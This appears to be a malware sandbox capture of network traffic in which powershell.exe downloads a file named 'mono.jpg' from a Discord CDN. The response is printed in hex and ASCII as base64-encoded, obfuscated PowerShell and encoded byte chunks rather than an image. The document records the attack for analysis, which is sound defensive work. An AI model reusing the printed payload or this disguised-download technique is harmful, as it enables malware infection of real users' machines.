Date: Thu, 02 Dec 2021 20:49:15 GMT
Server: Apache
X-Powered-By: PHP/7.4.23
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <http://www.lillianpsmith.com/wp-json/>; rel="https://api.w.org/"
Upgrade: h2,h2c
Connection: Upgrade, close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Data Raw: 32 37 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 
22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 
46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 
65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 
31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 7
4 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 
67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 43 6c 6f 74 68 69 6e 67 20 26 61 6d 70 3b 20 43 72 61 66 
74 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 
61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6
e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 
6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 
6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 
27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 
74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 43 6c 
6f 74 68 69 6e 67 20 26 61 6d 70 3b 20 43 72 61 66 74 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 6
8 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 6c 6c 69 61 6e 70 73 6d 69 74 68 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 
69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 
73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 43 6c 6f 74 68 69 6e 67 20 26 61 6d 70 3b 20 43 72 61 66 74 20 26 72 61 71 7
5 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 6c 6c 6
9 61 6e 70 73 6d 69 74 68 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 09 3c 73 63 72 69 70 
74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 5f 77 70 65 
6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 
2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 33 2e 31 2e 30 5c 2f 37 32 78 37 32 5c 
2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 
Data Ascii: 2799<!DOCTYPE html><html lang="en">    <head>        <meta charset="UTF-8">        <meta name="viewport" 
content="width=device-width, initial-scale=1">        <link rel="profile" href="http://gmpg.org/xfn/11">        <title>Page not 
found &#8211; Clothing &amp; Craft</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-pr
efetch' href='//www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel='dns-prefetch' href
='//s.w.org' /><link rel="alternate" type="application/rss+xml" title="Clothing &amp; Craft &raquo; Feed" href="http://w
ww.lillianpsmith.com/feed/" /><link rel="alternate" type="application/rss+xml" title="Clothing &amp; Craft &raquo; Comme
nts Feed" href="http://www.lillianpsmith.com/comments/feed/" /><script type="text/javascript">window._wpemojiSettings = 
{"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49167 162.159.135.233 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp
kBytes
transferred Direction Data

2021-12-02 20:47:22 UTC 0 OUT GET /attachments/915347845752705109/915799800740462662/mono.jpg HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTPS Proxied Packets
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2021-12-02 20:47:22 UTC 0 IN HTTP/1.1 200 OK
Date: Thu, 02 Dec 2021 20:47:22 GMT
Content-Type: image/jpeg
Content-Length: 1920730
Connection: close
CF-Ray: 6b7768f6595068e9-FRA
Accept-Ranges: bytes
Age: 8365
Cache-Control: public, max-age=31536000
ETag: "715fb9aa84b3e1c2f82643aa678b63dc"
Expires: Fri, 02 Dec 2022 20:47:22 GMT
Last-Modified: Thu, 02 Dec 2021 03:01:27 GMT
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1638414087319322
x-goog-hash: crc32c=W/97YQ==
x-goog-hash: md5=cV+5qoSz4cL4JkOqZ4tj3A==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1920730
X-GUploader-UploadID: ADPycduSrW5es12_U_k0Srpza-5UUDKtE1KsqiLuM2xaG42GeTQLwFMAcFHR8vS438yf
vq21coNfsyFYLr1r5n7Mw-LgeQf9Eg
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TK48RkooYKpDJK7LxzB3GgB6FXKzhxF0
QzzSIZaIJ3O2AshWWykO4xGV5bk3lrFUdR3FPRealFgsIoavQ4BTVdtZ%2Fhn%2FCBPNYt%2Br4PdtjnvZnq5L2JyU
L6CJhsVSdEQ7ozm84g%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-12-02 20:47:22 UTC 1 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-12-02 20:47:22 UTC 1 IN Data Raw: 56 33 4a 70 64 47 55 74 56 6d 56 79 59 6d 39 7a 5a 53 41 69 52 32 56 30 4c 55 52 6c 59 32 39 74 63 48 4a 6c 
63 33 4e 6c 5a 45 4a 35 64 47 56 42 63 6e 4a 68 65 53 49 37 4a 47 45 39 4a 47 45 39 56 33 4a 70 64 47 55 74 53 47 39 
7a 64 43 41 6e 65 7a 49 33 4f 44 45 33 4e 6a 46 46 4c 54 49 34 52 54 41 74 4e 44 45 77 4f 53 30 35 4f 55 5a 46 4c 55 49 
35 52 44 45 79 4e 30 4d 31 4e 30 46 47 52 58 30 6e 4f 31 64 79 61 58 52 6c 4c 56 5a 6c 63 6d 4a 76 63 32 55 67 49 6b 
64 6c 64 43 31 45 5a 57 4e 76 62 58 42 79 5a 58 4e 7a 5a 57 52 43 65 58 52 6c 51 58 4a 79 59 58 6b 69 4f 79 52 68 50 5
3 52 68 50 56 64 79 61 58 52 6c 4c 55 68 76 63 33 51 67 4a 33 73 79 4e 7a 67 78 4e 7a 59 78 52 53 30 79 4f 45 55 77 4c 
54 51 78 4d 44 6b 74 4f 54 6c 47 52 53 31 43 4f 55 51 78 4d 6a 64 
Data Ascii: V3JpdGUtVmVyYm9zZSAiR2V0LURlY29tcHJlc3NlZEJ5dGVBcnJheSI7JGE9JGE9V3JpdGUtSG9zdC
AnezI3ODE3NjFFLTI4RTAtNDEwOS05OUZFLUI5RDEyN0M1N0FGRX0nO1dyaXRlLVZlcmJvc2UgIkdldC1EZWNvbXBy
ZXNzZWRCeXRlQXJyYXkiOyRhPSRhPVdyaXRlLUhvc3QgJ3syNzgxNzYxRS0yOEUwLTQxMDktOTlGRS1COUQxMjd

2021-12-02 20:47:22 UTC 3 IN Data Raw: 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 
71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 
4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 49 67 30 4b 56 33 4a 70 64 
47 55 74 53 47 39 7a 64 43 41 69 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 
69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 
6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 
71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 
Data Ascii: ioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio
qKioqKioqKioqIg0KV3JpdGUtSG9zdCAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio
qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq

2021-12-02 20:47:22 UTC 4 IN Data Raw: 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71
4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 
69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 
6f 71 49 67 30 4b 56 33 4a 70 64 47 55 74 53 47 39 7a 64 43 41 69 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 
6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 
71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 
4b 69 6f 71 4b 69 6f 71 4b 69 6f 71 4b 
Data Ascii: oqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqIg0KV3JpdGUtSG9zdCAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqK

2021-12-02 20:47:22 UTC 5 IN Data Raw: 73 59 44 49 79 4c 47 42 43 52 53 78 67 52 6a 67 73 59 45 45 35 4c 47 41 7a 52 69 78 67 52 54 6b 73 59 45 51 
33 4c 47 42 47 4f 43 78 67 51 6a 55 73 59 44 64 47 4c 47 41 34 52 43 78 67 4e 55 59 73 59 45 55 7a 4c 47 42 45 4e 79 
78 67 52 6a 67 73 59 44 63 31 4c 47 42 46 4f 43 78 67 52 6b 59 73 59 45 5a 47 4c 47 42 47 4e 79 78 67 52 6b 59 73 59 
45 5a 45 4c 47 41 32 51 69 78 67 52 6b 4d 73 59 44 46 42 4c 47 41 33 52 69 78 67 52 44 63 73 59 45 46 47 4c 47 41 79 4
d 53 78 67 51 30 59 73 59 45 56 47 4c 47 42 42 4f 53 78 67 4d 30 59 73 59 44 4d 33 4c 47 41 7a 52 43 78 67 4e 30 59 73 
59 44 45 77 4c 47 42 47 52 43 78 67 52 6b 59 73 59 44 4d 33 4c 47 42 47 4f 53 78 67 4e 55 51 73 59 45 5a 46 4c 47 41 
35 52 53 78 67 52 45 59 73 59 45 55 30 4c 47 42 45 4e 79 78 67 52 6a 
Data Ascii: sYDIyLGBCRSxgRjgsYEE5LGAzRixgRTksYEQ3LGBGOCxgQjUsYDdGLGA4RCxgNUYsYEUzLGBENyxgR
jgsYDc1LGBFOCxgRkYsYEZGLGBGNyxgRkYsYEZELGA2QixgRkMsYDFBLGA3RixgRDcsYEFGLGAyMSxgQ
0YsYEVGLGBBOSxgM0YsYDM3LGAzRCxgN0YsYDEwLGBGRCxgRkYsYDM3LGBGOSxgNUQsYEZFLGA5RSxgR
EYsYEU0LGBENyxgRj

2021-12-02 20:47:22 UTC 7 IN Data Raw: 4e 53 78 67 52 54 67 73 59 44 64 47 4c 47 41 32 4d 43 78 67 4e 44 63 73 59 45 4e 43 4c 47 42 44 52 69 78 67 
52 55 59 73 59 44 51 35 4c 47 42 47 52 69 78 67 4d 55 49 73 59 45 51 33 4c 47 41 33 4f 53 78 67 4e 54 6b 73 59 44 55 
78 4c 47 41 30 4d 79 78 67 51 7a 59 73 59 44 4d 31 4c 47 41 31 4e 53 78 67 4d 55 45 73 59 45 5a 44 4c 47 41 78 4e 79 
78 67 51 6b 51 73 59 44 63 32 4c 47 41 30 52 69 78 67 4f 44 49 73 59 44 42 47 4c 47 42 46 4f 43 78 67 4e 54 6b 73 59 45
5a 45 4c 47 42 46 52 69 78 67 52 44 49 73 59 45 55 32 4c 47 42 45 51 69 78 67 51 6b 59 73 59 44 41 32 4c 47 41 31 52 5
3 78 67 52 6a 6b 73 59 44 63 31 4c 47 41 33 52 69 78 67 4f 45 51 73 59 44 5a 47 4c 47 42 47 52 69 78 67 4d 30 55 73 59 
45 4a 47 4c 47 42 47 4e 69 78 67 51 55 59 73 59 45 59 78 4c 47 42 
Data Ascii: NSxgRTgsYDdGLGA2MCxgNDcsYENCLGBDRixgRUYsYDQ5LGBGRixgMUIsYEQ3LGA3OSxgNTksYDUxLG
A0MyxgQzYsYDM1LGA1NSxgMUEsYEZDLGAxNyxgQkQsYDc2LGA0RixgODIsYDBGLGBFOCxgNTksYEZELG
BFRixgRDIsYEU2LGBEQixgQkYsYDA2LGA1RSxgRjksYDc1LGA3RixgOEQsYDZGLGBGRixgM0UsYEJGLG
BGNixgQUYsYEYxLGB
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2021-12-02 20:47:22 UTC 8 IN Data Raw: 45 49 31 4c 47 42 47 4f 53 78 67 4d 6a 4d 73 59 44 41 35 4c 47 41 31 52 53 78 67 4e 45 55 73 59 44 55 30 4c 
47 41 35 4f 53 78 67 4e 54 41 73 59 44 64 47 4c 47 42 47 52 69 78 67 4d 6a 49 73 59 45 49 31 4c 47 42 47 52 69 78 67 
4e 7a 63 73 59 45 55 35 4c 47 42 47 4e 79 78 67 4e 55 59 73 59 44 6c 43 4c 47 42 43 52 53 78 67 52 6b 49 73 59 44 5a 
47 4c 47 42 46 4f 43 78 67 52 6a 4d 73 59 44 64 47 4c 47 41 35 4d 43 78 67 4e 6a 41 73 59 45 4a 45 4c 47 41 77 4d 53 7
8 67 4e 6b 51 73 59 45 55 34 4c 47 42 45 52 43 78 67 52 54 59 73 59 44 4d 33 4c 47 42 47 4f 43 78 67 4d 7a 55 73 59 44 
64 46 4c 47 41 34 52 43 78 67 52 6b 59 73 59 44 6c 45 4c 47 42 47 52 53 78 67 52 6b 59 73 59 44 67 32 4c 47 41 7a 52 
53 78 67 52 6b 49 73 59 45 59 7a 4c 47 42 42 4f 43 78 67 51 30 51 73 
Data Ascii: EI1LGBGOSxgMjMsYDA5LGA1RSxgNEUsYDU0LGA5OSxgNTAsYDdGLGBGRixgMjIsYEI1LGBGRixgNzc
sYEU5LGBGNyxgNUYsYDlCLGBCRSxgRkIsYDZGLGBFOCxgRjMsYDdGLGA5MCxgNjAsYEJELGAwMSxgNkQ
sYEU4LGBERCxgRTYsYDM3LGBGOCxgMzUsYDdFLGA4RCxgRkYsYDlELGBGRSxgRkYsYDg2LGAzRSxgRkI
sYEYzLGBBOCxgQ0Qs

2021-12-02 20:47:22 UTC 9 IN Data Raw: 78 67 4e 54 59 73 59 44 56 43 4c 47 41 7a 52 69 78 67 4f 45 55 73 59 45 52 47 4c 47 41 7a 52 69 78 67 4d 6a 
4d 73 59 44 55 34 4c 47 41 34 52 69 78 67 4e 30 59 73 59 45 56 42 4c 47 41 7a 4e 79 78 67 52 6b 59 73 59 44 4a 44 4c 
47 41 7a 51 69 78 67 52 6a 67 73 59 45 49 31 4c 47 42 45 4d 43 78 67 52 54 55 73 59 44 6c 47 4c 47 42 47 4d 69 78 67 
52 44 63 73 59 45 5a 47 4c 47 42 45 4e 43 78 67 51 6b 59 73 59 44 6c 46 4c 47 42 47 52 53 78 67 51 6a 55 73 59 44 64 4
7 4c 47 42 44 4e 43 78 67 4f 55 59 73 59 45 59 32 4c 47 41 30 4e 79 78 67 52 6a 6b 73 59 44 56 45 4c 47 42 47 52 53 78 
67 4e 54 59 73 59 45 4a 47 4c 47 41 30 4d 53 78 67 52 6b 45 73 59 45 56 43 4c 47 42 47 51 79 78 67 4e 55 55 73 59 45 
5a 47 4c 47 42 47 4f 43 78 67 52 55 59 73 59 45 59 77 4c 47 42 47 51 
Data Ascii: xgNTYsYDVCLGAzRixgOEUsYERGLGAzRixgMjMsYDU4LGA4RixgN0YsYEVBLGAzNyxgRkYsYDJDLGAz
QixgRjgsYEI1LGBEMCxgRTUsYDlGLGBGMixgRDcsYEZGLGBENCxgQkYsYDlFLGBGRSxgQjUsYDdGLGBD
NCxgOUYsYEY2LGA0NyxgRjksYDVELGBGRSxgNTYsYEJGLGA0MSxgRkEsYEVCLGBGQyxgNUUsYEZGLGBG
OCxgRUYsYEYwLGBGQ

2021-12-02 20:47:22 UTC 11 IN Data Raw: 47 4c 47 42 46 51 79 78 67 52 6b 55 73 59 44 4d 32 4c 47 42 43 52 69 78 67 52 54 55 73 59 45 46 47 4c 47 41 
30 4e 79 78 67 52 55 59 73 59 45 56 44 4c 47 42 47 52 53 78 67 4e 54 51 73 59 45 5a 45 4c 47 41 30 52 69 78 67 4e 7a 
63 73 59 45 52 46 4c 47 42 47 4f 53 78 67 4d 54 4d 73 59 45 59 77 4c 47 42 44 52 53 78 67 52 6b 59 73 59 45 59 79 4c 
47 42 47 51 53 78 67 4d 55 59 73 59 45 59 34 4c 47 42 46 4e 79 78 67 52 44 4d 73 59 44 64 47 4c 47 42 47 52 43 78 67 5
2 44 63 73 59 45 59 35 4c 47 42 47 51 69 78 67 52 6b 59 73 59 44 63 79 4c 47 42 47 52 69 78 67 4f 55 51 73 59 45 56 45 
4c 47 42 45 52 69 78 67 4d 6a 41 73 59 45 5a 45 4c 47 41 31 4e 53 78 67 51 30 49 73 59 45 51 35 4c 47 41 32 52 69 78 
67 51 30 55 73 59 45 5a 44 4c 47 42 43 4d 53 78 67 52 6b 51 73 59 44 
Data Ascii: GLGBFQyxgRkUsYDM2LGBCRixgRTUsYEFGLGA0NyxgRUYsYEVDLGBGRSxgNTQsYEZELGA0RixgNzcsY
ERFLGBGOSxgMTMsYEYwLGBDRSxgRkYsYEYyLGBGQSxgMUYsYEY4LGBFNyxgRDMsYDdGLGBGRCxgRDcsY
EY5LGBGQixgRkYsYDcyLGBGRixgOUQsYEVELGBERixgMjAsYEZELGA1NSxgQ0IsYEQ5LGA2RixgQ0UsY
EZDLGBCMSxgRkQsYD

2021-12-02 20:47:22 UTC 12 IN Data Raw: 4e 55 55 73 59 44 4e 43 4c 47 42 47 4f 53 78 67 51 54 6b 73 59 45 52 47 4c 47 42 47 51 79 78 67 4d 6a 6b 73 
59 44 68 45 4c 47 41 78 52 69 78 67 51 6a 41 73 59 45 5a 47 4c 47 42 42 51 53 78 67 4e 30 59 73 59 45 59 77 4c 47 42 
45 4f 53 78 67 52 6a 4d 73 59 45 59 30 4c 47 42 47 4d 79 78 67 4d 30 59 73 59 45 56 43 4c 47 41 35 52 69 78 67 4d 45 
4d 73 59 45 45 32 4c 47 41 32 4e 79 78 67 52 54 63 73 59 44 4d 33 4c 47 42 47 52 69 78 67 4e 7a 55 73 59 44 64 47 4c 4
7 42 45 51 69 78 67 52 45 59 73 59 45 5a 43 4c 47 42 43 4e 79 78 67 52 6b 4d 73 59 44 63 31 4c 47 42 42 4f 53 78 67 52 
54 55 73 59 45 4e 46 4c 47 41 30 52 69 78 67 52 44 55 73 59 44 64 47 4c 47 41 32 4d 53 78 67 51 54 63 73 59 44 67 7a 
4c 47 42 47 52 69 78 67 52 55 55 73 59 44 64 47 4c 47 42 42 4e 79 78 
Data Ascii: NUUsYDNCLGBGOSxgQTksYERGLGBGQyxgMjksYDhELGAxRixgQjAsYEZGLGBBQSxgN0Ys
YEYwLGBEOSxgRjMsYEY0LGBGMyxgM0YsYEVCLGA5RixgMEMsYEE2LGA2NyxgRTcsYDM3LGBGRixgNzUs
YDdGLGBEQixgREYsYEZCLGBCNyxgRkMsYDc1LGBBOSxgRTUsYENFLGA0RixgRDUsYDdGLGA2MSxgQTcs
YDgzLGBGRixgRUUsYDdGLGBBNyx

2021-12-02 20:47:22 UTC 13 IN Data Raw: 47 41 32 52 53 78 67 52 55 49 73 59 45 4a 47 4c 47 42 47 52 53 78 67 52 6a 45 73 59 44 5a 47 4c 47 41 35 4d 
43 78 67 52 6b 55 73 59 44 5a 45 4c 47 42 43 52 69 78 67 51 30 59 73 59 44 64 47 4c 47 41 35 4e 53 78 67 4d 7a 4d 73 
59 45 51 33 4c 47 41 33 52 53 78 67 52 6b 4d 73 59 44 55 7a 4c 47 42 47 4e 53 78 67 52 55 59 73 59 45 52 46 4c 47 41 
33 4f 53 78 67 52 6a 45 73 59 44 4a 47 4c 47 42 47 51 79 78 67 4e 54 55 73 59 45 51 77 4c 47 41 31 4d 43 78 67 52 6b 5
9 73 59 45 59 7a 4c 47 41 7a 52 69 78 67 51 6a 51 73 59 44 64 43 4c 47 42 45 4e 79 78 67 52 54 4d 73 59 45 45 78 4c 47 
41 7a 52 69 78 67 4d 44 59 73 59 45 51 77 4c 47 41 34 51 53 78 67 4e 55 59 73 59 45 59 77 4c 47 41 35 51 69 78 67 52 
6b 55 73 59 45 46 45 4c 47 42 46 4f 53 78 67 4d 55 59 73 59 45 5a 42 
Data Ascii: GA2RSxgRUIsYEJGLGBGRSxgRjEsYDZGLGA5MCxgRkUsYDZELGBCRixgQ0YsYDdGLGA5NSxgMzMsYEQ
3LGA3RSxgRkMsYDUzLGBGNSxgRUYsYERFLGA3OSxgRjEsYDJGLGBGQyxgNTUsYEQwLGA1MCxgRkYsYEY
zLGAzRixgQjQsYDdCLGBENyxgRTMsYEExLGAzRixgMDYsYEQwLGA4QSxgNUYsYEYwLGA5QixgRkUsYEF
ELGBFOSxgMUYsYEZB

2021-12-02 20:47:22 UTC 15 IN Data Raw: 51 73 59 45 5a 45 4c 47 42 45 52 69 78 67 52 54 41 73 59 45 59 33 4c 47 41 77 4e 69 78 67 51 54 6b 73 59 44 
64 46 4c 47 41 34 51 69 78 67 4f 55 59 73 59 45 46 42 4c 47 42 47 52 69 78 67 52 6a 49 73 59 45 4e 46 4c 47 41 34 51 
69 78 67 51 6b 59 73 59 44 45 77 4c 47 41 79 52 69 78 67 4d 30 55 73 59 44 4a 42 4c 47 41 33 52 53 78 67 51 55 51 73 
59 44 64 47 4c 47 41 79 4f 43 78 67 52 6b 51 73 59 44 52 45 4c 47 41 77 52 53 78 67 51 6b 55 73 59 45 59 7a 4c 47 42 4
2 51 69 78 67 52 6b 4d 73 59 44 45 33 4c 47 41 33 52 69 78 67 4e 45 59 73 59 44 41 34 4c 47 42 45 4e 69 78 67 52 55 59 
73 59 45 59 35 4c 47 41 31 4d 79 78 67 52 6a 55 73 59 45 52 47 4c 47 42 45 51 69 78 67 4e 7a 6b 73 59 45 55 7a 4c 47 
41 35 4e 79 78 67 52 6b 59 73 59 44 52 42 4c 47 41 33 51 53 78 67 52 
Data Ascii: QsYEZELGBERixgRTAsYEY3LGAwNixgQTksYDdFLGA4QixgOUYsYEFBLGBGRixgRjIsYENFLGA4Qixg
QkYsYDEwLGAyRixgM0UsYDJBLGA3RSxgQUQsYDdGLGAyOCxgRkQsYDRELGAwRSxgQkUsYEYzLGBBQixg
RkMsYDE3LGA3RixgNEYsYDA4LGBENixgRUYsYEY5LGA1MyxgRjUsYERGLGBEQixgNzksYEUzLGA5Nyxg
RkYsYDRBLGA3QSxgR

2021-12-02 20:47:22 UTC 16 IN Data Raw: 33 52 69 78 67 4f 44 59 73 59 45 4a 46 4c 47 41 30 51 69 78 67 52 6b 59 73 59 45 49 7a 4c 47 42 43 52 43 78 
67 4d 30 59 73 59 45 59 33 4c 47 42 46 52 69 78 67 4e 45 45 73 59 45 56 47 4c 47 42 47 52 53 78 67 52 6b 51 73 59 45 
5a 47 4c 47 42 46 4d 43 78 67 4e 30 59 73 59 45 56 44 4c 47 41 34 4d 79 78 67 52 6b 4d 73 59 45 52 45 4c 47 41 33 52 
69 78 67 4f 44 4d 73 59 44 56 47 4c 47 41 35 52 69 78 67 4e 7a 6b 73 59 45 59 33 4c 47 41 33 4e 79 78 67 52 6b 59 73 5
9 45 45 35 4c 47 42 47 51 53 78 67 52 6a 63 73 59 45 55 34 4c 47 41 77 4d 43 78 67 52 6b 4d 73 59 45 51 7a 4c 47 42 46 
4f 53 78 67 4d 6a 55 73 59 44 45 79 4c 47 42 43 4e 53 78 67 52 6a 51 73 59 45 45 33 4c 47 41 33 52 69 78 67 52 6a 41 
73 59 44 51 33 4c 47 41 7a 52 53 78 67 52 6b 4d 73 59 45 4a 47 4c 47 
Data Ascii: 3RixgODYsYEJFLGA0QixgRkYsYEIzLGBCRCxgM0YsYEY3LGBFRixgNEEsYEVGLGBGRSxgRkQsYEZGL
GBFMCxgN0YsYEVDLGA4MyxgRkMsYERELGA3RixgODMsYDVGLGA5RixgNzksYEY3LGA3NyxgRkYsYEE5L
GBGQSxgRjcsYEU4LGAwMCxgRkMsYEQzLGBFOSxgMjUsYDEyLGBCNSxgRjQsYEE3LGA3RixgRjAsYDQ3L
GAzRSxgRkMsYEJGLG
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2021-12-02 20:47:22 UTC 17 IN Data Raw: 59 44 64 47 4c 47 41 33 52 53 78 67 52 6b 45 73 59 44 4d 33 4c 47 42 47 52 43 78 67 4e 44 6b 73 59 44 64 47 
4c 47 42 47 4e 79 78 67 4d 30 59 73 59 45 55 33 4c 47 42 43 52 69 78 67 52 6a 51 73 59 44 46 43 4c 47 42 47 52 69 78 
